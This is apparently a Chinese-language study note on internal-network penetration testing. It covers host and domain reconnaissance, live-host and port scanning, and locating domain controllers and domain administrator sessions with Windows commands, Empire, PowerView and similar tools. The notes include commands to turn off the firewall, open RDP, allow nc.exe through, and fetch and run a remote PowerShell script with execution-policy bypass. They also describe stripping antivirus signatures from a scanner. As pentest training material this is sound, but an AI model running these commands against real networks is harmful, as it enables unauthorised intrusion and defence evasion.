内网学习笔记二 | 内网信息搜集
内网渗透测试与常规的渗透测试是截然不同的。内网渗透测试的需求是,获取内网中特定用户或机器的权限,进而获得特定的资源,对内网的安全性进行评估。
2.1 内网信息搜集概述
我是谁? 一对当前机器角色的判断。
这是哪? 一对当前机器所处网络环境的拓扑结构进行分析和判断。
我在哪? 一对当前机器所处区域的判断。
2.2 收集本机信息
本机信息:操作系统、权限、内网IP段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。
2.2.1 手动搜集信息
#查询网络配置信息
ipconfig /all
netstat -ano | findstr ESTABLISHED
#查询端口列表
netstat -ano
#查询操作系统和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
echo %PROCESSOR_ARCHITECTURE%
#查看安装的软件以及版本(数量大的话比较慢)
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
#查询进程列表
tasklist
wmic service list brief
#查看启动程序信息
wmic startup get command,caption
#查看计划任务
schtasks /query /fo LIST /v
#查询用户列表
net user
net localgroup administrators
#查询当前在线用户
query user || qwinsta
#列出或断开本地计算机与所连接的客户端之间的会话
net session
#查看补丁列表
systeminfo | findstr KB
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查询本机共享列表
net share
wmic share get name,path,status
#查询路由表以及所有可用接口的ARP缓存表
route print
arp -a
#关闭防火墙(windows server 2003 之前)
netsh firewall set opmode disable
#关闭防火墙(windows server 2003 之后)
netsh advfirewall set allprofiles state off
#查看防火墙配置
netsh firewall show config
#修改防火墙配置(windows server 2003 之前),允许指定程序全部连接
netsh firewall add allowdprogram c:\nc.exe "allow nc" enable
#修改防火墙配置(windows server 2003 之后),允许指定的程序进入和退出
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
#允许3389端口放行
netsh advfirewall firewall add rule name="RemoteDesktop" dir=in action=allow localport=3389
#自定义防火墙日志的存储位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
#查询代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
#查询并开启远程连接服务
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\Rdp-Tcp" /V PortNumber
#查询系统是否允许3389远程连接:1表示关闭3389,0表示3389开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
#在windows server 2003开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
#在windows server 2008开启3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
#在windows server 2012开启3389端口,实际测试下来win32_tsgeneralsetting 设置并未成功开启3389端口,还是用win2008的命令开启
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
#2012没有tsconfig.msc,存在RDMS限制远程桌面登录,需要修改fSingleSessionPerUser
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
#正常情况下开启3389端口:通过cmd
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
#通过reg文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d
#导入注册表:
regedit /s a.reg
常见杀软列表:
进程 | 软件名称 |
---|---|
360sd.exe | 360杀毒 |
360tray.exe | 360实时保护 |
ZhuDongFangYu.exe | 360主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 服务器安全狗 |
McAfee McShield.exe | McAfee |
ecgui.exe | NOD32 |
AVP.EXE | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
2.2.2 自动搜集信息
通过bat脚本进行搜集。repo: https://github.com/SevenC-base/PostExploitation/
2.2.3 通过Empire的信息搜集模块
可以参考博文:Empire-配置安装和基本使用
usemodule situational_awareness/host/winenum
usemodule situational_awareness/host/computerdetails
2.3 查询当前权限
1. 查看当前权限
whoami
本地普通用户只能查询本机相关信息,不能查询域内信息。
本地管理员账户和域内用户可以查询域内信息。
原理:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以只有域用户才拥有这个权限。当域用户执行查询命令时,会自动使用Kerberos协议,无须额外输入账号和密码。本地管理员administrator权限可以直接提升为Nt authority或System权限,因此在域中,除普通用户外,所有机器都有一个机器用户(用户名是机器名加上”$”)。在本质上,机器的system用户对应的就是域里边的机器用户。所以使用System权限可以运行域内的查询命令。
2. 获取域SID
whoami /all
当前域test.com的SID为:S-1-5-21-636858252-868354219-2394751447
域用户zs的SID为:S-1-5-21-636858252-868354219-2394751447-1111
3. 查询指定用户的详细信息
net user XXX /domain
可以查询到当前用户的权限,组,登录时间等信息。
2.4 判断是否存在域
1. Ipconfig
ipconfig /all
#通过反向解析查询命令
nslookup test.com
2. 查看系统详细信息
登录服务器为域控制器,如果域为”WORKGROUP”,表示当前服务器不在域内。
systeminfo
3. 查询当前登录域及登录用户信息
“工作站域 DNS 名称” 为域名,”登录域” 用户表示当前登录的用户是域用户还是本地用户。
net config workstation
4. 判断主域
net time /domain
存在域,但当前用户不是域用户。
存在域,且当前用户是域用户。
不存在域,当前网络环境为工作组。
2.5 探测域内存活主机
2.5.1 利用NetBIOS快速探测内网
NetBIOS是局域网程序使用的一种应用程序编程接口(API),为程序提供了请求低级别服务 的统一的命令集,为局域网提供了网络及其他特殊功能。几乎所有的局域网都是在NetBIOS协议 的基础上工作的。NetBIOS也是计算机的标识名,主要用于局域网中计算机的互访。NetBIOS的 工作流程就是正常的机器名解析查询应答过程,因此推荐优先使用。
nbtscan是—个命令行工具,用于扫描本地或远程 TCP/IP 网络上的开放 NetBIOS 名称服务器。nbtscan有Windows和Linux两个版本,体积小,不需要安装特殊的库或DLL就能使用。
repo:
https://github.com/scallywag/nbtscan
https://github.com/lifenjoiner/nbtscan
第—列为IP地址,第二列为机器名和所在域的名称,最后一列是机器所开启的服务的列表,具体含义如表所示:
Token | 含义 |
---|---|
SHARING | 该机器种存在正在运行的文件和打印共享服务,但不一定有内容共享 |
DC | 该机器可能是域控制器 |
U=USER | 该机其中有登录名为User的用户(不太准确) |
IIS | 该机器种可能安装了IIS服务器 |
EXCHANGE | 该机器种可能安装了Exchange |
NOTES | 该机器种可能安装了Lotus Notes电子邮件客户端 |
? | 没有识别处该机器的NetBIOS资源(可以使用-F选项再次扫描) |
2.5.2 利用ICMP协议快速探测内网
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.2.%I | findstr "TTL="
需要修改IP地址段以及保存结果的路径(默认保存在C:\Windows\Temp\Result.txt
),VBS脚本如下:
strSubNet = "192.168.0."
Set objFSO= CreateObject("Scripting.Filesystemobject")
Set objTs = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strsubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! :) "
End If
Next
objTS.close
WScript.Echo "All Ping Scan , All Done ! :) "
Function Ping(strComputer)
Set objWMIService = Getobject("winmgmts:\\.\root\cimv2")
Set colItems = objwMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
运行:
cscript host-scan.vbs
2.5.3 通过ARP扫描探测内网
1. arp-scan工具
打包需要修改msvcbuild.bat
文件中的vcvarsall.bat
的路径。
用法:
arp-scan.exe -t 192.168.2.1/24
扫描结果如下:
2. Empire中的arpscan模块
repo:https://github.com/EmpireProject/Empire/releases/tag/2.5
usemodule powershell/situational_awareness/network/arpscan
3. Nishang中的Invoke-ARPScan.ps1
脚本
repo:https://github.com/samratashok/nishang/releases
通外网的话可以直接远程加载,否则的话就上传到目标服务器中运行。并没有在Nishang中发现该脚本,但是在Empire中发现了该PS1脚本。
powershell.exe -exec bypass -Command "& {Import-Module C:\test\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.2.0/24}" >> C:\test\log.txt
执行结果如下:
2.5.4 通过常规TCP/UDP端口扫描探测内网
ScanLine 是—款经典的端口扫描工具,可以在所有版本的Windows操作系统中使用,体积小,仅使用单个文件,同时支持TCP/UDP 端口扫描,命令如下:
scanline -ht 21-23,25,80-89,110,135-139,143,389,443,445,1099,1433,1521,2049,3306,3389,5432,5556,5631,5900,6379,7001,8080 -hu 53,161,137,139 -O c:\test\log.txt -p 192.168.2.1-254 /b
不过现在会被查杀,一般用不到了,仅作了解。
2.6 扫描域内端口
- 端口banner信息
- 端口上常见运行的服务
- 常见应用的默认端口
2.6.1 Telnet扫描
#单个命令
telnet 192.168.1.2 3389
bat脚本:https://maikefee.com/archives/7c32cf47.html
@echo off
set Cms=%*
setlocal enabledelayedexpansion
chcp 65001
set files=""
set ports=""
color 06
title telnet-scan端口扫描工具
if not defined Cms goto main
::-----------------参数分离开始-----------------------------------
if "%1" == "-l" (
set files=%2
)
if "%1" == "-d" (
goto del_history
)
if "%3" == "-l" (
set files=%4
)
if "%1" == "-p" (
set ports=%2
)
if "%3" == "-p" (
set ports=%4
)
echo %ports%
echo %files%
::-----------------参数分离结束-----------------------------------
::计算域名总数
set /a num=0
for /f %%i in (%files%) do (
set /a num=!num!+1
)
::----------------------开始扫描----------------------------------
set /a a=1
:sxh
set port=""
for /f "tokens=%a% delims=." %%i in ('echo %ports%') do (
set port=%%i
set /a a=%a%+1
)
if !port! NEQ "" (
echo --------------------程序正在扫描 !port! 端口,请稍后---------------------------------
::设置扫描到第几个域名
set /a nm=0
::设置提示保存
set /a tib=0
for /f %%b in (%files%) do (
start /min cmd.exe /k "echo q|telnet %%b !port!&exit"
timeout /NOBREAK /t 1 >nul
set pd=""
for /f "tokens=1 delims= " %%a in ('tasklist /FI "windowtitle eq Telnet %%b"^|findstr "cmd.exe"') do (
set pd=%%a
)
if !pd! EQU "" (
echo %%b !port! Open
echo %%b>>!port!_Open.txt
set /a tib=1
) else (
echo %%b !port! Close
)
set /a nm=!nm!+1
title telnet-scan端口扫描工具 进度 !nm!/!num!
)
if !tib! == 0 (
echo -------------------------端口 !port! 扫描完毕-----------------------------------------
) else (
echo -------------------------端口 !port! 扫描完毕,保存为 !port!_Open.txt-----------------------
)
timeout /NOBREAK /t 35 >nul
goto sxh
) else (
goto tc
)
::----------------------扫描结束----------------------------------
:del_history
echo 正在删除历史扫描记录,请稍后.......
for /l %%i in (1,1,10000) do (
del /f /q %%i_Open.txt 1>nul 2>nul
)
echo 删除完毕!!!
goto tc
:main
mode con: cols=125 lines=45
echo _ _ _
echo ^| ^|_ ___^| ^|_ __ ___^| ^|_ ___ ___ __ _ _ __
echo ^| __^/ _ ^\ ^| ^'_ ^\ ^/ _ ^\ __^|____^/ __^|^/ __^/ _^` ^| ^'_ ^\
echo ^| ^|^| __^/ ^| ^| ^| ^| __^/ ^|^|_____^\__ ^\ ^(_^| ^(_^| ^| ^| ^| ^|
echo ^\__^\___^|_^|_^| ^|_^|^\___^|^\__^| ^|___^/^\___^\__^,_^|_^| ^|_^|
echo.
echo ^<options^>:
echo -l list :域名列表文件
echo -p port :要扫描的端口
echo -d del :删除保存的历史记录(开放的端口号.txt)
echo.
echo ^<Example^>:
echo scan.bat -l c:\host.txt -p 21
echo scan.bat -l c:\host.txt -p 21.80.3389.1433
echo.
:tc
2.6.2 S扫描器
Repo: https://github.com/kingron/s
s.exe TCPSYN Start IP [End IP] Ports [Threads] [/T(N)] [/(H)Banner] [/Save]
Eg-1: s.exe TCP 192.168.0.1 192.168.0.254 80 512
Eg-2: s.exe TCP 192.168.0.1/24 80 512
Eg-3: s.exe TCP 192.168.0.1/24 80 512 /T8 /Save
Eg-4: s.exe TCP 192.168.0.1 192.168.0.254 80 512 /HBanner
Eg-5: s.exe TCP 192.168.0.1 192.168.0.254 21 512 /Banner
Eg-6: s.exe TCP 192.168.0.1 1-65535 512
Eg-7: s.exe TCP 192.168.0.1 192.168.0.254 21,3389,5631 512
Eg-8: s.exe TCP 192.168.0.1 21,3389,5631 512
Eg-9: s.exe SYN 192.168.0.1 192.168.0.254 80
Eg-10: s.exe SYN 192.168.0.1 1-65535
Eg-11: s.exe SYN 192.168.0.1 192.168.0.254 21,80,3389
Eg-12: s.exe SYN 192.168.0.1 21,80,3389
需要对特征进行擦除,否则过不了杀软,例如:printf函数的几个输出值、注释内容。面杀打包后的s.exe:
内网扫描不建议使用,可能导致断网,参考文章:https://f5.pm/go-78126.html。
2.6.3 Metasploit端口扫描
Metasploit不仅提供了多种端口扫描技术,还提供了与其他扫描工具的接口。kali中运行如下命令:
$ msfconsole
msf6 > search portscan
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.0.1/24
rhosts => 192.168.0.1/24
msf6 auxiliary(scanner/portscan/tcp) > set ports 1-1024
ports => 1-1024
msf6 auxiliary(scanner/portscan/tcp) > set threads 50
threads => 50
msf6 auxiliary(scanner/portscan/tcp) > run
2.6.4 PowerSploit 的 Invoke-portscan.ps1 脚本
PowerSploit
的 Invoke-Portscan.psl
脚本,推荐使用无文件的形式进行扫描,远程加载执行:
powershell.exe -nop -exec bypass -c "IEX (New-object Net.Webclient).Downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.0.1/24 -T4 -ports '3389,80' -oA c:\windows\temp\res.txt"
2.6.5 Nishang 的 Invoke-Portscan 模块
Invoke-PortScan
是 Nishang
的端口扫描模块,用于发现主机、解析主机名、扫描端口,是一个很实用的模块。输入Get-Help Invoke-PortScan-full
命令,即可查看帮助信息。Invoke-PortScan
的参数介绍如下。
StartAddress: 扫描范围的开始地址。
EndAddress: 扫描范围的结束地址。
ScanPort: 进行端口扫描。
Port: 指定扫描端口。
默认扫描的端口有21、22、23、53、69、71、80、98、110、139、111、389、443、445、1080、1433、2001、2049、3001、3128、5222、6667、6868、7777、7878、8080、1521、3306、3389、5801、5900、5555、5901。TimeOut:设置超时时间。
使用以下命令对本地局域网进行扫描,搜索存活主机并解析主机名。
# ResolveHost参数存在异常报错
Invoke-Portscan -StartAddress 192.168.0.1 -EndAddress 192.168.0.255 -ResolveHost
# 不使用ResolveHost
IEX(New-Object Net.WebClient).DownloadString("Invoke-Portscan.ps1");Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
2.6.6 端口的banner信息
如果通过扫描发现了端口,可以使用客户端连接工具或者nc,获取服务端的Banner信息。获取Banner信息后,可以在漏洞库中查找对应CVE编号的POC、EXP,在ExploitDB、Seebug等平台上查看相关的漏洞利用工具,然后到目标系统中验证漏洞是否存在,从而有针对性地进行安全加固。相关漏洞的信息,可以参考如下两个网站。
安全焦点:其中的 BugTraq 是一个出色的漏洞和Exploit数据源,可以通过 CVE 编号或者产品信息漏洞直接搜索。
Exploit-DB:取代了老牌安全网站milw0rm,提供了大量的 Exploit 程序和相关报告。
网安-Vuln-DB:网安漏洞平台汇集了 CNNVD-国家信息安全漏洞库 CNVD-国家信息安全漏洞共享平台 CICSVD-国家工业信息安全漏洞库等信息。
文件共享服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
21、22、69 | FTP/TFTP文件传输协议 | 允许匿名的上传、下载、爆破、嗅探操作 |
2049 | NFS服务 | 配置不当 |
139 | SAMBA服务 | 爆破、未授权访问、远程代码执行 |
389 | LDAP目录访问协议 | 注入、允许匿名的访问、弱口令 |
远程连接服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
22 | SSH远程连接 | 爆破、ssh隧道以及内网代理转发、文件传输 |
23 | Telnet远程连接 | 爆破、嗅探、弱口令 |
3389 | RDP远程桌面连接 | Shift后门(Windows Server 2003以下版本)、爆破 |
5900 | VNC | 弱口令爆破 |
5632 | PcAnywhere 服务 | 抓取密码、代码执行 |
Web应用服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
80、443、8080 | 常见Web服务端口 | Web攻击、爆破、对应服务器版本漏洞 |
7001、7002 | Weblogic控制台 | Java 反序列化、弱口令 |
8080、8089 | JBoss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
9090 | WebSphere控制台 | Java反序列化、弱口令 |
4848 | GlassFish控制台 | 弱口令 |
1352 | Lotus Domino邮件服务 | 弱口令、信息泄露、爆破 |
10000 | Webmin控制面板 | 弱口令 |
数据库服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
3306 | MySQL数据库 | 注入、提权、爆破 |
1433 | MSSQL数据库 | 注入、提权、SA弱口令、爆破 |
1521 | Oracle数据库 | TNS爆破、注入、反弹shell |
5432 | PostgreSQL数据库 | 爆破、注入、弱口令 |
27017、27018 | MongoDB数据库 | 爆破、未授权访问 |
6379 | Redis数据库 | 爆破、未授权访问、反弹shell |
5000 | Sysbase/DB2数据库 | 爆破、注入 |
邮件服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
25 | SMTP邮件服务 | 邮件伪造 |
110 | POP3协议 | 爆破、嗅探 |
143 | IMAP协议 | 爆破、嗅探 |
网络常见协议端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
53 | DNS域名服务 | 允许区域传送、DNS劫持、缓存投毒、欺骗 |
67、68 | DHCP服务 | 劫持、欺骗 |
161 | SNMP协议 | 爆破、搜集目标内网信息 |
特殊服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
2181 | ZooKeeper.服务 | 未授权访问 |
8069 | Zabbix服务 | 远程执行、SQL注入 |
9200、9300 | Elasticsearch服务 | 远程执行 |
11211 | Memcached服务 | 未授权访问 |
512、513、514 | Linux rexec服务 | 爆破、远程登录 |
873 | rsync服务 | 匿名访问、文件上传 |
3690 | SVN服务 | SVN泄露、未授权访问 |
50000 | SAP Management Console | 远程执行 |
2.7 搜集域内基础信息
确定了当前内网拥有的域,且所控制的主机在域内,就可以进行域内相关信息的收集了。因为本节将要介绍的查询命令在本质上都是通过LDAP
协议到域控制器上进行查询的,所以在查询时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行本节介绍的查询命令(System权限用户除外。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上$
。System权限用户对应的就是域里面的机器用户,所以System
权限用户可以运行。
在域环境中,域用户默认是可以登录域内任何一台机器的,这是因为域管理员在新增域用户时该域用户默认就会存在域用户组 Domain Users 中,加入域的域成员机器会默认将全局组 Domain Users 加到其本地的 User 组中,而域成员机器本地组策略中的 “允许在本地登陆” 属性中包含了本地的 Users 组。
A. 查询域
net view /domain
报错:
B. 查询域内所有计算机
可通过查询到的主机名对主机角色进行初步判断,dev、web\app、NAS可能分别对应开发服务器、Web服务器、存储服务器。
net view /domain:TEST-2012
如果报错 发生系统错误 6118
,首先需要检查防火墙,其次检查Server
,WorkStation
,computer Browser
三项服务是否启动,一般都是computer Browser
需要手动启动导致的,最后检查计算机是否安装SMB1.0/CIFS 文件共享支持
功能。
C. 查询域内所有用户组列表
net group /domain
可以看到,该域内有13个组。系统自带的常见用户身份如下。
- Domain Admins:域管理员。
- Domain Computers:域内机器。
- Domain Controllers:域控制器。
- Domain Guest::域访客,权限较低。
- Domain Users:域用户。
- Enterprise Admins:企业系统管理员用户。
在默认情况下,Domain Admins和Enterprise Admins对域内所有域控制器有完全控制权限。
D. 查询所有域成员计算机列表
net group "domain computers" /domain
E. 获取域密码策略信息
net accounts /domain
F. 获取域信任信息
nltest /domain_trusts
2.8 查找域控制器
# 查看域控制器的机器名
nltest /DCLIST:TEST-2012
# 查看域控制器的主机名
Nslookup -type=SRV _ldap._tcp
# 查看当前时间(通常时间服务器为主域控制器)
net time /domain
# 查看域控制器组
net group "Domain Controllers" /domain
# 查看域控制器的机器名为”DC“
netdom query pdc
2.9 获取域内的用户和管理员信息
# 查询域管理员用户
net group "domain admins" /domain
# 查询管理员用户组
net group "Enterprise Admins" /domain
2.10 定位域管理员
2.10.1 域管理员定位概述
在内网中,通常会部署大量的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、反病毒软件等。在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限。
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。也就是说,当计算机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此,域管理员组的成员均可访问本地计算机,且具备完全控制权限。
定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可以使用脚本或Wevtutil
工具导出并查看。会话是指域内每台机器的登录会话,可以使用 netsess.exe
或 PowerView
等工具查询(可以匿名查询,不需要权限)。
2.10.2 常用域管理员定位工具
假设已经在Windows
域中取得了普通用户权限,希望在域内横向移动,需要知道域内用户登录的位置、他是否是任何系统的本地管理员、他所属的组、他是否有权访问文件共享等。枚举主机、用户和组,有助于更好地了解域的布局。
常用的域管理员定位工具有 psloggedon.exe
、PVEFindADUser.exe
、netsess.exe
,以及 hunter
、NetView
等。在 PowerShell
中,常用的工具是 PowerView
。
1.psloggedon.exe
在 Windows 平台上,可以执行命令net session
来查看谁使用了本机资源,但是没有命令可以用来查看谁在使用远程计算机资源、谁登录了本地或远程计算机。使用psloggedon.exe
,可以查看本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定的是用户名而不是计算机名,psloggedon.exe
会搜索网上邻居中的计算机,并显示该用户当前是否已经登录。其原理是通过检查注册表 HKEY_USERS
项的 key 值来查询谁登录过(需要调用NetSessionEnum API
),但某些功能需要管理员权限才能使用。
psloggedon.exe
的下载地址见:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon,使用如下命令及参数:`psloggedon [-] [-l] [-x] [\computername|username]`
[-]: 显示支持的选项和用于输出值的单位。
[-l]: 仅显示本地登录,不显示本地和网络资源登录。
[-x]: 不显示登录时间。
[\computername]: 指定要列出登录信息的计算机的名称。
[username]: 指定用户名,在网络中搜索该用户登录的计算机。
2. PVEFindADUser.exe
PVEFindADUser.exe
可用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务和计划任务的用户。运行该工具的计算机需要配置 NET Framework2.0 环境,并且需要具有管理员权限。
PVEFindADUser.exe
的下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn,使用如下命令及参数:
-h: 显示帮助信息。
-u: 检查程序是否有新版本。
-current[“username”]: 如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名(Domain\Username),则显示该用户登录的计算机。
-last[“username”]: 如果仅指定了-last参数,将获取目标计算机的最后一个登录用户。如果指定了用户名(Domain\Username),则显示此用户上次登录的计算机。根据网络的安全策略,可能会隐藏最后一个登录用户的用户名,此时使用该工具可能无法得到该用户名。
-noping: 阻止该工具在尝试获取用户登录信息之前对目标计算机执行ping命令。
-target: 可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主机。如果指定了此参数,则后跟一个由逗号分隔的主机名列表。
直接运行pveadfinduser.exe -current
命令,即可显示域中所有计算机(计算机、服务器、域控制器等)上当前登录的所有用户。查询结果将被输出到 report.csv 文件中。
3.Netview.exe
netview.exe
是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话,利用 NetShareEnum 找寻共享,利用 Net WkstaUserEnum枚举登录的用户。同时,netview.exe能够查询共享入口和有价值的用户。netview.exe的绝大部分功能不需要管理员权限就可以使用,netview.exe的下载地址:https://github.com/mubix/netview/releases/tag/latest
其命令格式及参数如下:
h: 显示帮助信息。
-f filename.txt: 指定要提取主机列表的文件。
-e filename.txt: 指定要排除的主机名的文件。
-o filename.txt: 将所有输出重定向到指定的文件。
-d domain: 指定要提取主机列表的域。如果没有指定,则从当前域中提取主机列表。
-g group: 指定搜索的组名。如果没有指定,则在Domain Admins组中搜索。
-c: 对已找到的共享目录/文件的访问权限进行检查。
4.Nmap的NSE脚本
如果存在域账户或者本地账户,就可以使用Nmap的smb-enum-sessions.nse
引擎获取远程机器的登录会话〔不需要管理员权限),下载地址:https://nmap.org/nsedoc/scripts/
nmap --script=smb-os-discovery.nse 192.168.0.197
- smb-enum-domains.nse: 对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户等。
- smb-enum-users.nse:在进行域渗透测试时,如果获得了域内某台主机的权限,但是权限有限,无法获取更多的域用户信息,就可以借助这个脚本对域控制器进行扫描。
- smb-enum-shares.nse:遍历远程主机的共享目录。
- smb-enum-processes.nse:对主机的系统进程进行遍历。通过这些信息,可以知道目标主机上正在运行哪些软件。
- smb-enum-sessions.nse:获取域内主机的用户登录会话,查看当前是否有用户登录。
- smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等信息。
5.PowerView脚本
PowerView是一款PowerShell脚本,提供了辅助定位关键用户的功能,其下载地址:
Invoke-StealthUserHunter:只需要进行一次查询,就可以获取域里面的所有用户。使用方法为,从user.HomeDirectories中提取所有用户,并对每台服务器进行Get-NetSessions获取。因为不需要使用Invoke-UserHunter对每台机器进行操作,所以这个方法的隐蔽性相对较高(但涉及的机器不一定全面)。PowerView 默认使用 Invoke-StealthUserHunter,如果找不到,就使用Invoke-UserHunter。
Invoke-UserHunter:找到域内特定的用户群,接收用户名、用户列表和域组查询,接收一个主机列表或查询可用的主机域名。它可以使用 Get-NetSessions 和 Get-NetLoggedon(调用NetSessionEnum和NetWkstaUserEnum API) 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,在使用时不需要管理员权限。
powershell.exe -exec bypass -Command "&{Import-Module .\PowerView.ps1;Invoke-UserHunter}"
6.Empire的user_hunter模块
在Empire中也有类似Invoke-UserHunter的模块一user hunter。这个模块用于查找域管理员登录的机器。使用usemodule situational awareness/network/powerview/user_hunter
模块,可以清楚地看到哪个用户登录了哪台主机。
2.11 查找域管理进程
在渗透测试中,一个典型的域权限提升过程,通常围绕着收集明文凭据或者通过mimikatz提权等方法,在获取了管理员权限的系统中寻找域管理员登录进程,进而收集域管理员的凭据。如果内网环境非常复杂,渗透测试人员无法立即在拥有权限的系统中获得域管理员进程,那么通常可以采用的方法是:在跳板机之间跳转,直至获得域管理员权限,同时进行一些分析工作,进而找到渗透测试的路径。
2.11.1 本机检查
# 1、获取域管理员列表
net group "Domain Admins" /domain
# 2、列出本机的所有进程以及进程用户
tasklist /v
# 3、寻找进程为管理的的进程
2.11.2 查询域控制器的域用户会话
查询域控制器的域用户会话,其原理是:在域控制器中查询域用户会话列表,并将其与域管理员列表进行交叉引用,从而得到域管理会话的系统列表。
1、查询域控制器列表
可以使用LDAP查询从Domain Controllers 单元中搜集的域控制器列表。也可以使用net 命令查询域控制器列表。
net group "Domain Controllers" /domain
2、收集域管理员列表
可以使用LDAP进行查询。也可以使用net命令,从域管理员组中收集域管理员列表.
net group "Domain Admins" /domain
3、搜集所有活动域的会话列表
使用netsess.exe
查询每个域控制器,收集所有活动域会话列表。netsess.exe
是一个很棒的工具,它包含本地Windows函数netsessionenum
。netsessionenum
函数用于返回活动会话的IP地址、域账户、会话开始时间和空闲时间。
下载地址:http://www.joeware.net/freetools/tools/netsess/index.htm
操作说明:
PS C:\Users\lisi> .\NetSess.exe /?
-full 完整会话信息(需要管理员)
-h servername 指定服务器
-u username 要筛选的用户名
-c client name 指定客户端名称
Ex1:
netsess
显示本地计算机的会话信息
Ex2:
netsess servername
显示服务器的会话信息
Ex3:
netsess servername /full
显示服务器的完整会话信息
4、交叉引用域管理员列表与活动会话列表
对域管理员列表和活动会话列表进行交叉引用,可以确定哪些P地址有活动域令牌。也可以通过下列脚本快速使用netsess.exe
的Windows命令行。将域控制器列表添加到dcs.txt中,将域管理员列表添加到admins.txt中,并与netsess.exe放在同一目录下。运行以下脚本,会在当前目录下生成一个文本文件sessions.txt。
# bat 脚本(多加%号)
@echo off
FOR /F %%i in (dcs.txt) do @echo [+] Querying DC %%i && @NetSess.exe -h %%i 2>nul>sessions.txt && FOR /F %%a in (admins.txt) DO @type sessions.txt | @findstr /I %%a
# cmd命令行
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
其他脚本:[Get Domain Admins(GDA)、Get Domain Users(GDU),下载链接:https://github.com/nullbind/Other-Projects
2.11.3 查询远程系统中运行的任务
如果目标机器在域系统中是通过共享的本地管理员账户运行的,就可以使用下列脚本来查询系统中的域管理任务。首先,从Domain Admins组中收集域管理员列表,命令如下:
net group "Domain Admins" /domain
运行如下脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到names.txt文件中。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
#
@echo off
